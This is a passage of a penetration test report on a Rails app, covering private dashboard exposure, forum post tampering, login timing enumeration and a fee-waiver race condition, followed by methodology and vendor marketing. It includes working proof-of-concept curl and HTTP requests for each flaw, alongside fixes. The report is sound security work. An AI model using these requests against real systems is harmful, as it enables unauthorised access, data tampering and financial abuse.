$ curl -sk https://urbaniq.turbo-apps-local.intrud.es/dashboards/12 \
  | grep '<title>'
  <title>Smart Grid Energy Dashboard | UrbanIQ</title>
```

Both returned HTTP 200 with the full dashboard content rendered, including descriptions, data sources, and associated reports. By contrast, requesting a non-existent dashboard returned HTTP 404, confirming that the successful responses were not simply default pages:

```
$ curl -sk -o /dev/null -w "%{http_code}" \
  https://urbaniq.turbo-apps-local.intrud.es/dashboards/16
404
```

TECHNICAL DETAIL

The root cause lies in an asymmetry between the access controls applied to the dashboard listing and the individual dashboard view within `app/controllers/dashboards_controller.rb`.

On line 2, the `before_action` declaration exempts both the `index` and `show` actions from authentication:

```
before_action :authenticate_user!, except: [:index, :show]
```

The `index` action (line 7) correctly restricts results for non-analyst users by applying the `publicly_visible` scope, which adds a `WHERE is_public = true` clause:

```
def index
  @dashboards = Dashboard.includes(:user, :reports)
  # ... filters ...
  @dashboards = @dashboards.publicly_visible unless current_user&.analyst_or
_above?
  @dashboards = @dashboards.order(created_at: :desc).page_results(params[:pa
ge])
end
```

However, the `show` action on line 14 does not apply any visibility check at all. It relies on `set_dashboard`, which unconditionally loads any dashboard by its primary key:

```
def show
  @reports = @dashboard.reports.recent.limit(10)
end

# ...

def set_dashboard
  @dashboard = Dashboard.find(params[:id])
end
```

Because the `show` action is also exempted from authentication, the result is that any visitor—authenticated or not—can load any dashboard regardless of its `is_public` flag. The database schema in `db/schema.rb` confirms that the `is_public` column defaults to `false`, meaning dashboards are private unless explicitly made public. The existing `authorize_dashboard!` before-action only protects the `edit`, `update`, and `destroy` actions, not `show`.

Dashboard primary keys are sequential integers (1 through 15 in the current dataset), which makes enumeration straightforward. An attacker needs only to iterate through integer identifiers to discover and read every private dashboard in the system.

REMEDIATION ADVICE

The `show` action in `app/controllers/dashboards_controller.rb` should enforce the same visibility rules that the `index` action applies. When a dashboard is not public, only its owner or a user with an analyst-or-above role should be permitted to view it. A guard clause at the top of the `show` method is the most direct fix:

```
def show
  unless @dashboard.is_public || current_user&.analyst_or_above? || @dashboa
rd.user == current_user
    redirect_to dashboards_path, alert: "This dashboard is private."
    return
  end
  @reports = @dashboard.reports.recent.limit(10)
end
```

If private dashboards should never be accessible to unauthenticated users under any circumstances, the `show` action should also be removed from the authentication exemption list on line 2, changing it to `except: [:index]`. This ensures that Devise's `authenticate_user!` runs before the visibility check, preventing anonymous access to private content while still allowing unauthenticated users to view public dashboards via the listing page.

As the application grows, it would be prudent to consolidate authorisation logic into a dedicated policy layer rather than scattering inline checks across controller actions. Libraries such as Pundit integrate well with Rails and would allow a `DashboardPolicy#show?` method to encapsulate this logic in a testable, reusable manner.

LOCATION

`app/controllers/dashboards_controller.rb:2, 14, 15, 46, 47`

VULN-008: Missing Authorisation on Forum Post Modification and Deletion

High

Impact: **Medium** · Likelihood: **High**

Any authenticated user can edit, update, or delete any other user's forum post by issuing direct requests to the forum post endpoints. The forum index is publicly accessible and post identifiers are sequential integers, making them trivially enumerable. Exploitation allows an attacker with any valid account to tamper with or permanently remove community discussions—including all associated comments—undermining the integrity and availability of the platform's public forum.

EVIDENCE

To validate this issue, a request was made to the edit endpoint for forum post number 1, which is owned by David Park, using the session of a different viewer-role user (Lisa Thompson). The following request confirmed that the edit form was served without restriction:

```
GET /forum/1/edit HTTP/1.1
Host: urbaniq.turbo-apps-local.intrud.es
Cookie: _urbaniq_session=<lisa.thompson session>

HTTP/1.1 200 OK
```

A CSRF token was then extracted from the edit form, and a `PATCH` request was issued to modify the post's title:

```
PATCH /forum/1 HTTP/1.1
Host: urbaniq.turbo-apps-local.intrud.es
Cookie: _urbaniq_session=<lisa.thompson session>
Content-Type: application/x-www-form-urlencoded

authenticity_token=<token>&forum_post[title]=IDOR+TEST+BY+LISA

HTTP/1.1 302 Found
Location: /forum/1
```

An unauthenticated request to the post confirmed the title had been changed successfully:

```
$ curl -sk https://urbaniq.turbo-apps-local.intrud.es/forum/1 | grep '<title
>'
  <title>IDOR TEST BY LISA | UrbanIQ</title>
```

This demonstrates that Lisa Thompson, who does not own the post, was able to modify another user's forum post. The post was reverted to its original state after testing.

TECHNICAL DETAIL

The `ForumPostsController` in `app/controllers/forum_posts_controller.rb` requires authentication for write operations on line 2, but enforces no authorisation to verify that the requesting user actually owns the post being acted upon. The `set_forum_post` method on lines 46–48 retrieves the post using only the ID from the URL path without any ownership or role check:

```
def set_forum_post
  @forum_post = ForumPost.find(params[:id])
end
```

This method is called as a `before_action` for the `show`, `edit`, `update`, and `destroy` actions (line 3). The `edit` action on line 28, `update` on lines 31–37, and `destroy` on lines 39–42 all operate on the retrieved post without further verification:

```
def update
  if @forum_post.update(forum_post_params)
    redirect_to @forum_post, notice: "Post updated successfully."
  else
    render :edit, status: :unprocessable_entity
  end
end

def destroy
  @forum_post.destroy
  redirect_to forum_posts_path, notice: "Post deleted.", status: :see_other
end
```

The application does include a client-side restriction in the view template `app/views/forum_posts/show.html.erb` at line 17, which conditionally renders the "Edit" and "Delete" buttons only for the post's owner or an administrator:

```
<% if user_signed_in? && (@forum_post.user == current_user || current_user.a
dmin?) %>
```

However, this is a purely cosmetic control. It hides the buttons in the rendered HTML but does nothing to prevent a user from crafting the underlying HTTP requests directly. Since the forum index and individual posts are publicly accessible without authentication, an attacker can browse the forum listing to enumerate all post IDs, which are sequential integers. Any user who can register an account—registration is open via Devise—can then issue `PATCH` or `DELETE` requests against any post ID.

Because the `ForumPost` model defines `has_many :comments, dependent: :destroy`, deleting a forum post also permanently destroys all of its associated comments, amplifying the impact of the vulnerability.

REMEDIATION ADVICE

The controller should enforce an authorisation check on all state-changing actions (`edit`, `update`, and `destroy`) to ensure only the post's owner or an administrator may proceed. A `before_action` callback should be added to `app/controllers/forum_posts_controller.rb` that runs after `set_forum_post` and verifies ownership:

```
 before_action :set_forum_post, only: [:show, :edit, :update, :destroy]
before_action :authorize_post_owner!, only: [:edit, :update, :destroy]

private

def authorize_post_owner!
  unless @forum_post.user == current_user || current_user.admin?
    redirect_to @forum_post, alert: "You are not authorized to perform this
action."
  end
end
```

This mirrors the logic already present in the view template on line 17 of `show.html.erb`, ensuring the server enforces the same restriction the user interface implies. For a more systematic approach, the application should adopt a dedicated authorisation framework such as Pundit or CanCanCan, which would provide a consistent pattern for access-control policies across all controllers and reduce the likelihood of similar oversights elsewhere in the codebase.

LOCATION

`app/controllers/forum_posts_controller.rb:3, 28, 31, 39, 46, 47, 48`

VULN-009: User Enumeration on Login Endpoint

Medium

Impact: **Low** · Likelihood: **High**

The application's login endpoint exposes whether an email address belongs to a registered user through a timing side-channel. When a login attempt is submitted with a registered email, the server takes approximately 234 milliseconds to respond owing to an internal password-hashing operation; when the email does not exist, the server responds in roughly 12 milliseconds. This roughly 20-fold difference is consistent, requires no authentication or special prerequisites to exploit, and is compounded by the complete absence of rate limiting or account lockout on the login endpoint. An attacker can therefore enumerate valid user accounts at high speed and subsequently mount credential-stuffing attacks—a threat made more realistic by the application's weak minimum password length of six characters.

EVIDENCE

To confirm the vulnerability, repeated login attempts were issued against the sign-in endpoint with both a registered and an unregistered email address, each using an incorrect password.

A request was first sent with a registered email address:

```
POST /users/sign_in HTTP/1.1
Host: urbaniq.turbo-apps-local.intrud.es
Content-Type: application/x-www-form-urlencoded

user[email]=s*********@urbaniq.io&user[password]=wrongpassword123
```

The server responded with the following timing headers:

```
x-runtime: 0.236374
server-timing: process_action.action_controller;dur=233.93
```

A request was then sent with a non-existent email address:

```
POST /users/sign_in HTTP/1.1
Host: urbaniq.turbo-apps-local.intrud.es
Content-Type: application/x-www-form-urlencoded

user[email]=doesnotexist@example.com&user[password]=wrongpassword123
```

The server responded with substantially lower timing values:

```
x-runtime: 0.005757
server-timing: process_action.action_controller;dur=1.81
```

Both responses returned an identical flash message of "Invalid Email or password." and an HTTP 302 redirect, but the processing time differed by a factor of roughly 40.

Five consecutive trials confirmed the consistency of the timing difference:

TRIAL	REGISTERED EMAIL (TOTAL TIME)	NON-EXISTENT EMAIL (TOTAL TIME)
1	0.236s	0.012s
2	0.234s	0.011s
3	0.233s	0.014s
4	0.233s	0.012s
5	0.236s	0.012s

To verify the absence of rate limiting, 20 rapid login attempts were sent in quick succession. Every request returned an HTTP 302 with no delay or blocking, confirming that an attacker could enumerate addresses and attempt credential stuffing at an unrestricted rate:

```
Attempt 1:  302  0.013s
Attempt 2:  302  0.012s
...
Attempt 20: 302  0.012s
```

The results are deterministic enough to allow single-request enumeration with high confidence, and at scale an attacker could verify thousands of candidate email addresses per minute.

TECHNICAL DETAIL

The application replaces Devise's default login flow with a custom controller at `app/controllers/users/sessions_controller.rb`. The `create` method first looks up the user by email and then takes a fundamentally different code path depending on whether the record exists.

The full controller is shown below:

```
class Users::SessionsController < Devise::SessionsController
  def create
    email = params.dig(:user, :email).to_s.downcase.strip
    password = params.dig(:user, :password).to_s
```

```
    user = User.find_by(email: email)              # line 6

    if user.nil?                                    # line 8
      Rails.logger.warn("auth.failed reason=unknown_email email=#{email}")
      flash[:alert] = "Invalid Email or password."
      redirect_to new_user_session_path
      return                                        # fast return — no bcryp
t
    end

    if user.valid_password?(password)               # line 15 — slow bcrypt
      sign_in(user)
      redirect_to after_sign_in_path_for(user)
    else
      Rails.logger.warn("auth.failed reason=wrong_password user_id=#{user.i
d}")
      flash[:alert] = "Invalid Email or password."
      redirect_to new_user_session_path
    end
  end
end
```

When the email is not found (line 8), the method immediately logs the failure and redirects—no cryptographic work is performed. When the email does exist, `user.valid_password?(password)` on line 15 invokes bcrypt with 12 stretching rounds (as configured in `config/initializers/devise.rb`), which is a deliberately expensive operation taking roughly 230 milliseconds. This creates two timing profiles that an attacker can distinguish with a single request per candidate email.

Devise's built-in `SessionsController` avoids this problem by calling `Devise::Encryptor.digest` on every login attempt regardless of whether the user exists, ensuring both code paths take approximately the same amount of time. By overriding this controller without replicating that safeguard, the application introduces the side-channel.

Although the user-visible error message ("Invalid Email or password.") is identical for both cases, the `x-runtime` and `server-timing` response headers directly expose the processing time, making automated enumeration trivial. Even without those headers, the round-trip time difference is large enough to detect over the network.

Several missing defensive controls amplify the risk. The application does not include any rate-limiting middleware such as Rack::Attack—the Gemfile contains no such dependency, and no throttling logic exists anywhere in the codebase. The Devise configuration in `app/models/user.rb` does not include the `:lockable` module, meaning accounts are never locked regardless of how many failed login attempts occur. Finally, `config/initializers/devise.rb` sets `config.password_length = 6..128` with no complexity requirements, meaning that a six-character, all-lowercase password is perfectly valid. Taken together, these gaps allow an attacker to first enumerate valid email addresses

and then attempt credential stuffing against those accounts at an unrestricted rate, with no lockout to slow the attack and a realistic chance of guessing weak passwords.

REMEDIATION ADVICE

The most straightforward fix is to remove the custom sessions controller entirely and let Devise handle authentication through its default `SessionsController`, which already performs a constant-time comparison that prevents this class of timing side-channel. The route in `config/routes.rb` can simply be changed to:

```
devise_for :users
```

If the custom controller must be retained for application-specific logic such as structured logging, the `user.nil?` branch must perform a dummy bcrypt digest so that both paths take the same amount of time. The following pattern achieves this:

```
if user.nil?
  Devise::Encryptor.digest(User, password)
  Rails.logger.warn("auth.failed email=#{email}")
  flash[:alert] = "Invalid Email or password."
  redirect_to new_user_session_path
  return
end
```

Additionally, the log messages should be normalised so that they do not distinguish between an unknown email and an incorrect password. Both branches currently use different `reason` values (`unknown_email` versus `wrong_password`), which could leak information to anyone with access to application logs. A single, uniform message such as `auth.failed email=#{email}` should be used in all failure cases.

Beyond fixing the timing side-channel itself, the application should add rate limiting to the login endpoint by introducing a gem such as Rack::Attack and configuring a throttle on `POST /users/sign_in`. Enabling Devise's `:lockable` module in `app/models/user.rb` would add account lockout after a configurable number of failed attempts, further slowing credential-stuffing attacks. The minimum password length configured in `config/initializers/devise.rb` should also be raised from six characters to at least twelve, ideally with a complexity requirement, to reduce the likelihood that enumerated accounts can be compromised with simple guessing.

Finally, consider stripping the `x-runtime` and `server-timing` response headers in production, as they provide precise server-side timing data that simplifies exploitation of any remaining timing differences.

LOCATION

`app/controllers/users/sessions_controller.rb:6, 7, 8, 9, 10, 11, 12, 15`

VULN-010: Race Condition in Fee Waiver Approval Exceeds Annual Cap

Medium

Impact: **Low** · Likelihood: **High**

The fee waiver endpoint for open records requests is vulnerable to a race condition that allows any authenticated user to exceed the annual $50 fee waiver cap. By sending two waiver requests simultaneously for separate records requests, both pass the eligibility check before either has committed its update, and both are approved. This results in direct financial loss to the organisation, as users can obtain fee waivers far in excess of the intended annual limit without any special tooling beyond the ability to issue concurrent HTTP requests.

EVIDENCE

To validate this finding, two new records requests were created for a test user (David Park, a viewer-role account) and an analyst assessed a $40.00 fee on each. The user's year-to-date waiver usage was confirmed at $0.00 against the $50.00 annual cap, meaning that only one of the two $40.00 waivers should be approvable.

First, a sequential test confirmed that the cap enforcement works under normal conditions. Requesting a waiver on the first record succeeded, bringing the year-to-date total to $40.00. The second waiver request was correctly rejected with a 303 redirect, confirming the cap was enforced.

The first record was then cancelled to reset the year-to-date total to $0.00, and two fresh records requests (IDs 20 and 21) were created and assessed at $40.00 each. Two concurrent `POST` requests were then issued simultaneously:

```
curl -sk -X POST "https://urbaniq.turbo-apps-local.intrud.es/records_request
s/20/waivers" \
  -b "$DAVID_COOKIE" \
  -d "authenticity_token=$TOKEN20&waiver_justification=race_concurrent_20" &

curl -sk -X POST "https://urbaniq.turbo-apps-local.intrud.es/records_request
s/21/waivers" \
  -b "$DAVID_COOKIE" \
  -d "authenticity_token=$TOKEN21&waiver_justification=race_concurrent_21" &

wait
```

Both requests returned HTTP 302 (success redirect) at the same timestamp. Checking the state of each record afterwards confirmed that both waivers had been approved with $40.00 waived on each:

```
Request 20: Waiver Approved — Fee waived: $40.00
Request 21: Waiver Approved — Fee waived: $40.00
```

The records request index page confirmed that the user's year-to-date usage had risen to $80.00, exceeding the $50.00 cap by $30.00:

```
<span data-testid="ytd-used">$80.00</span>
```

TECHNICAL DETAIL

The application enforces an annual $50 cap on fee waivers per user through the CORA (Colorado Open Records Act) records request workflow. When a user submits a waiver request via `POST /records_requests/:id/waivers`, the `WaiversController#create` action in `app/controllers/waivers_controller.rb` performs two discrete operations: it first checks whether the user is eligible for the waiver, and then updates the record to reflect the approved waiver. These two operations are not wrapped in a database transaction or protected by any locking mechanism, which creates a time-of-check-time-of-use window.

The eligibility check on line 16 calls `current_user.waiver_eligible?(fee)`, which is defined in `app/models/user.rb` at line 27:

```
def waiver_eligible?(amount_cents)
  waiver_used_ytd + amount_cents <= WAIVER_CAP_CENTS
end
```

The `waiver_used_ytd` method on line 20 calculates the total waivers consumed in the current fiscal year by summing the `fee_amount_waived_cents` column across the user's non-cancelled records requests:

```
def waiver_used_ytd
  records_requests
    .where(fiscal_year: RecordsRequest.current_fiscal_year)
    .where.not(state: "cancelled")
    .sum(:fee_amount_waived_cents)
end
```

If the check passes, the controller proceeds to update the record on line 17:

```
@records_request.update!(
  state: :waiver_approved,
  fee_amount_waived_cents: fee,
  waiver_justification: params[:waiver_justification].presence
)
```

Because this `SELECT` query and subsequent `UPDATE` are not atomic, when two concurrent requests arrive they both execute the `SUM` query before either thread has committed its `UPDATE`. Both

threads therefore see the same pre-update total (for example, $0.00), both pass the eligibility check, and both updates succeed. The Puma web server is configured with up to five threads per worker in `config/puma.rb`, so concurrent request processing is the default behaviour. There are no database-level constraints, advisory locks, or `SELECT ... FOR UPDATE` queries that would prevent this race.

REMEDIATION ADVICE

The root cause is that the eligibility check and the state update are two separate, unprotected database operations. The fix should wrap both in a single database transaction and acquire a row-level lock before performing the eligibility query, ensuring that concurrent threads are serialised.

In `app/controllers/waivers_controller.rb`, the `create` action should be restructured to use `ActiveRecord::Base.transaction` with a `FOR UPDATE` lock on the user's records requests for the current fiscal year. This ensures that the second concurrent thread will block on the lock until the first thread's transaction has committed, at which point its eligibility query will see the updated totals and correctly deny the waiver.

```
def create
  ActiveRecord::Base.transaction do
    current_user.records_requests
      .where(fiscal_year: RecordsRequest.current_fiscal_year)
      .where.not(state: "cancelled")
      .lock('FOR UPDATE')
      .load

    unless @records_request.reload.fee_assessed?
      redirect_to @records_request, alert: "Waivers may only be requested wh
ile the fee is assessed.", status: :see_other
      return
    end

    fee = @records_request.fee_amount_cents.to_i

    unless current_user.waiver_eligible?(fee)
      redirect_to @records_request, alert: "Waiver denied: this request woul
d exceed the annual $50 fee-waiver cap.", status: :see_other
      return
    end

    @records_request.update!(state: :waiver_approved, fee_amount_waived_cent
s: fee, waiver_justification: params[:waiver_justification].presence)
  end
  redirect_to @records_request, notice: "Fee waiver approved."
end
```

As a defence-in-depth measure, a PostgreSQL check constraint or trigger could be added to the `records_requests` table to enforce the $50.00 annual cap at the database level, preventing any

application-layer bypass from violating the invariant.

LOCATION

`app/controllers/waivers_controller.rb:16, 17`

Appendix A — Risk Rating Methodology

Risk is assigned based on two factors: **Impact** — the potential damage if successfully exploited — and **Likelihood** — the probability that an attacker can successfully exploit the vulnerability.

Impact

RATING	DESCRIPTION
High	Significant damage to the organisation or its customers — data breach, full system compromise, or major financial loss.
Medium	Limited damage, likely contained to a subset of users or systems, or requiring significant attacker effort to fully realise.
Low	Minimal direct damage. May facilitate other attacks or provide minor information disclosure.

Likelihood

RATING	DESCRIPTION
High	Exploitation is straightforward using standard tools and requires little specialist knowledge.
Medium	Moderate skill or specific conditions required. An experienced attacker familiar with the target could reliably exploit this.
Low	Significant skill, access, or luck required. Exploitation may need multiple issues chained or faces significant obstacles.

Risk Rating Matrix

	LOW IMPACT	MEDIUM IMPACT	HIGH IMPACT
Low Likelihood	Info	Low	Medium
Medium Likelihood	Low	Medium	High
High Likelihood	Medium	High	Critical

Appendix B — Testing Methodology

Approach

Intruder's AI penetration tester conducts code-assisted penetration tests, combining static analysis of application source code with dynamic testing against the running application.

The tester begins by analyzing the application source code and any user-provided context — including target scope, technology stack, authentication mechanisms, and business-sensitive functionality — to build a complete picture of the application's attack surface before any active testing begins.

Drawing on this understanding, the tester systematically hunts across the codebase for exploitable vulnerabilities and attack vectors, covering OWASP Top 10 vulnerability classes as well as weaknesses beyond this, including logic-level flaws that require understanding and judgment about how the application is intended to behave.

Each candidate vulnerability is then tested against the live application to confirm exploitability, determine the exact conditions required to trigger it, and rule out false positives.

Confirmed findings are assessed in the context of the application and its environment — considering exploitability, potential blast radius, and business impact — to produce a prioritized, actionable report.

Supported Vulnerabilities

CATEGORY	DESCRIPTION
Authentication and session handling	Intruder look for weaknesses in the authentication and session handling mechanisms of the application, which could allow an attacker to: • bypass the authentication • authenticate as someone else • determine valid usernames or passwords for the application • manipulate the application to think the user is someone else • manipulate information the application believes about the user
Authorization	Intruder look for weaknesses in the mechanisms of the application which enforce authorization controls, which could allow an attacker to: • gain unauthorized access to data or privileges reserved for higher level users • gain unauthorized access to data or privileges which are confidential to other users or should otherwise be restricted
Business logic	Intruder look for weaknesses in the application mechanisms which are responsible for enforcing the business logic of the application, such as: • workflow or separation of duties functionality • pricing, subscription and licensing functionality • shopping cart, check-out, refunds and delivery processes

CATEGORY	DESCRIPTION
Input validation and code injection	Intruder look for areas of the application where the user is able to introduce their own code and influence the operation of the application for themselves or other users. Some examples of these types of injection attack include: • Cross-Site Scripting (HTML Injection) • SQL Injection • XML/XPath Injection • Command Injection
File uploads	File upload functionality is assessed for weaknesses which could allow an attacker to: • compromise the application and the server which supports it • use the server for file storage or distribution other than the purposes intended • support further attacks against the application or company
Information leakage	Intruder assess the application looking for areas which disclose implementation details unnecessarily, such as: • languages, software, frameworks and their versions • details about the operating system, its configuration or file system layout • details about other customers or users of the application
Server configuration	Intruder assess the server for configuration settings which may reduce the security of the server and the application, such as: • insecure HTTP headers • insecure CORS headers • insecure direct object references • cross-site request forgery (CSRF)

Appendix C — About Intruder

Intruder's continuous exposure management platform helps security, IT and engineering teams stop breaches before they start. By unifying AI penetration testing, attack surface monitoring, cloud security and vulnerability management in one intuitive platform, Intruder gives stretched teams an always-on security source of truth. Our approach focuses on continuous automated scanning using expertise and agentic solutions to ensure that the findings we deliver are accurate, prioritized by real-world risk, and ready to act on. Founded in 2015 by Chris Wallis, a former ethical hacker turned corporate blue teamer, Intruder is now protecting over 3,000 companies worldwide.

Intruder has been awarded multiple accolades, was selected for GCHQ's Cyber Accelerator, included on Deloitte's Tech Fast 50 2023 list as the fastest-growing cybersecurity company in the UK and was named in G2's 2026 Best Software Awards.

Company accreditations and qualifications

Intruder maintains the certifications and independent attestations that our customers rely on for assurance:

- **CREST member company:** Intruder is listed as a member of CREST, the international accreditation body for the technical security industry, reflecting recognized standards in our security testing services.
- **SOC 2 Type II:** Intruder Systems Ltd is AICPA SOC 2 Type II compliant, independently confirming that our information security practices, policies, procedures, and operations meet the SOC 2 criteria for security.
- **Cyber Essentials:** Intruder holds the UK government-backed Cyber Essentials certification, documented in our Trust Center, confirming that the fundamental technical controls that defend against the most common internet-based attacks are in place.
- **GCHQ Cyber Accelerator:** Intruder was selected for the UK government's GCHQ Cyber Accelerator, a program reserved for promising and credible cybersecurity companies.

We also practice what we preach:

- We run our own platform against our own infrastructure
- We conduct penetration testing on every major release using in-house security experts
- We vet every employee with third-party background checks, and operate under a formal information security governance model

Backed by a team of security experts

Our testing and research teams hold the leading qualifications recognized across the penetration testing industry, including CREST certifications and the Offensive Security Certified Professional (OSCP) qualification, the latter awarded only on demonstration of practical, hands-on exploitation skills.

Intruder founder and CEO, Chris Wallis, has over a decade of cybersecurity experience as an ethical hacker and corporate blue teamer. He holds a BSc in Computer Science from the University of Bath and previously worked at Deloitte, Context Information Security, and WorldPay, advising on the security operations of numerous FTSE 100 companies.

Patrick Craston, our CTO, has 15 years in cybersecurity and a PhD in neural networks from the University of Kent, and previously led software development at one of the UK's leading cybersecurity consultancies, where he was lead architect for automated vulnerability tooling.

Andy Hornegold, our Chief Security Technologist, spent a decade in threat simulation and consulting, including a regional assurance lead role at a major UK consultancy and EU Red Team Lead at Mandiant, where he built and led a team delivering intelligence-led threat simulations. He is also a regular speaker at industry security events.

Original security research and CVE credits

Intruder's in-house white-hat research team is frequently published and picked up by the media and wider security community.

Our researchers have discovered and been credited with vulnerabilities in widely used software, including:

- CVE-2025-0589: unauthenticated access to Active Directory via Octopus Deploy.
- CVE-2024-28698: path traversal and code execution in the CSLA.NET framework, discovered during a client penetration test.

We also investigate the real-world risk behind high-profile vulnerabilities, such as our analysis of CVE-2025-30406 (Gladinet CentreStack) after it was added to CISA's Known Exploited Vulnerabilities list.

Our team has published novel techniques and large-scale studies, including:

- Reliable split-second DNS rebinding in Chrome and Safari
- Server-side prototype pollution detection
- Practical HTTP header smuggling
- GUID and UUID security issues
- The crisis of exposed AI infrastructure
- Leaked secrets in JavaScript bundles

Intruder's research is frequently picked up by the security and technology press and shared at industry conferences, including:

- BSides Vegas 2026: The 0-day Vending Machine: No Mythos Necessary
- InfoSecurity Europe 2023: How Basic Failings Cause Breaches
- Black Hat Europe 2021: Practical HTTP Header Smuggling: Sneaking Past Reverse Proxies to Attack AWS and Beyond

Our study showing that exposed MongoDB databases were breached within hours of being connected to the internet, and our annual Attack Surface Management Index, have been covered by outlets including Infosecurity Magazine, Help Net Security and Business Wire, and syndicated widely. Our founder is a recognized industry commentator who is frequently quoted on exposure management and the future of penetration testing, and has featured in interviews and podcasts, including Safety Detectives, the Code Story podcast, and TFiR.

We also release free, open source tooling to the community, including Autoswagger, which detects broken authorization flaws in APIs, and cvemon, a vulnerability intelligence tool. Vulnerabilities we discover are handled under a responsible disclosure process, giving vendors time to remediate before any details are made public.

Trusted by 3,000+ organizations

More than 3,000 companies across virtually every industry rely on Intruder, from lean security teams to large enterprises and government bodies.

Our reports are routinely used to satisfy compliance frameworks such as SOC 2, ISO 27001, PCI DSS, and Cyber Essentials, and have been accepted in B2B supplier security audits run by some of the largest companies in the world.

Notable customers include Fujifilm, Virgin Active, the NHS, PostHog, Drata, River Island and The Alan Turing Institute. Intruder holds a 4.8 out of 5 rating on G2, 4.7 on Gartner Peer Insights and 8/10 on TrustRadius.

Reviews consistently highlight the clarity and prioritization of our findings, the value of continuous rather than point-in-time testing, and the quality of our support.

> “Intruder discovered an issue hidden in a web application for three years, almost impossible to find by hand. That was really impressive.”
>
> “We rely on AWS for patching and use CrowdStrike, but Intruder catches what others don’t, and it’s helped us stay compliant and safe for years.”
>
> “Comprehensive coverage and clearly defined risks and remediations”

Intruder also partners with leading compliance and security companies, including Drata and Vanta.

Expertise, distilled into AI-led penetration testing

Everything described in this brief, the offensive security experience of our leadership, our CREST and OSCP-qualified testers, and a research team credited with real CVEs and novel attack techniques, represents hard-won knowledge of how attackers actually find, chain, and exploit weaknesses. That knowledge and collective experience has been distilled into our approach to AI-led penetration testing.

Time to exploit has collapsed from months to hours, and annual or quarterly pentests are unsuitable for keeping pace with a changing attack surface and the realities of how code is shipped today. Intruder's AI pentesting agents address this by applying the same methods our human experts use: sending requests, analyzing responses, and building a complete picture of each issue to investigate and validate findings such as injection, client-side, and information disclosure flaws. They assess whether a weakness is genuinely exploitable in your environment and what an attacker could do with it, separating real risk from noise rather than simply adding to it. This extends to full-scale web application testing capable of discovering new vulnerabilities.

The result is the depth of a manual penetration test, delivered on demand and continuously, with the expertise of our people encoded in the way it works. In other words, the credentials, research, and experience set out above are not separate from the testing in this report: they are the foundation it is built on.